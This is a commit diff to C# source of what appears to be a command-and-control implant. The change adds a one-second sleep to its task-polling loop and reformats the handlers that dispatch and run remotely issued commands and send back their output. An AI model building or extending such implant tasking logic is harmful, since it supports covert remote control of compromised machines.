fixed Very high power usage bug
This commit is contained in:
parent
7fad639418
commit
1db8e7a324
|
@ -42,25 +42,18 @@ namespace Implant
|
||||||
public static void HandleTask(ImplantTask task) {
|
public static void HandleTask(ImplantTask task) {
|
||||||
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
||||||
if (command is null) { return; }
|
if (command is null) { return; }
|
||||||
try
|
|
||||||
{
|
try {
|
||||||
var _out = command.Execute(task);
|
var _out = command.Execute(task);
|
||||||
SendTaskOut(task, task.Id, _out);
|
SendTaskOut(task, task.Id, _out);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) { SendTaskOut(task, task.Id, e.Message); }
|
||||||
SendTaskOut(task, task.Id, e.Message);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
|
public static void HandleTasks(IEnumerable<ImplantTask> tasks) { foreach (var task in tasks) { HandleTask(task); } }
|
||||||
foreach (var task in tasks) { HandleTask(task); }
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void ImplantCommandsInit()
|
public static void ImplantCommandsInit() {
|
||||||
{
|
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
|
||||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
|
if (type.IsSubclassOf(typeof(ImplantCommands))) {
|
||||||
{
|
|
||||||
if (type.IsSubclassOf(typeof(ImplantCommands)))
|
|
||||||
{
|
|
||||||
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
|
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
|
||||||
_commands.Add(cmd);
|
_commands.Add(cmd);
|
||||||
}
|
}
|
||||||
|
@ -83,6 +76,7 @@ namespace Implant
|
||||||
_cancelToken = new CancellationTokenSource();
|
_cancelToken = new CancellationTokenSource();
|
||||||
|
|
||||||
while (!_cancelToken.IsCancellationRequested) {
|
while (!_cancelToken.IsCancellationRequested) {
|
||||||
|
Thread.Sleep(1000);
|
||||||
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
|
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -10,23 +10,17 @@ using static Implant.Models.ImplantTaskData;
|
||||||
|
|
||||||
namespace Implant.Utils
|
namespace Implant.Utils
|
||||||
{
|
{
|
||||||
public class ImplantOptionUtils
|
public class ImplantOptionUtils {
|
||||||
{
|
public static void OptsInit() {
|
||||||
|
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
|
||||||
public static void OptsInit()
|
if (type.IsSubclassOf(typeof(ImplantOptions))) {
|
||||||
{
|
|
||||||
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
|
|
||||||
{
|
|
||||||
if (type.IsSubclassOf(typeof(ImplantOptions)))
|
|
||||||
{
|
|
||||||
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
|
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
|
||||||
_opts.Add(function);
|
_opts.Add(function);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static List<Object> ReturnMethod(ImplantTask task)
|
public static List<Object> ReturnMethod(ImplantTask task) {
|
||||||
{
|
|
||||||
if (_opts.Count == 0) { OptsInit(); }
|
if (_opts.Count == 0) { OptsInit(); }
|
||||||
|
|
||||||
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
|
||||||
|
@ -34,10 +28,7 @@ namespace Implant.Utils
|
||||||
return opt.Data;
|
return opt.Data;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static ArgsRecv ParseArgs(string jsonData){
|
public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject<ArgsRecv>(jsonData); }
|
||||||
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue